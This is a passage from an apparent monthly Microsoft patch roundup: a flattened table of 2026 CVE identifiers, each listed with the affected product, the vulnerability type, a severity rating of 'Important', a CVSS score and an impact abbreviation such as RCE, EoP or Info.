\n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  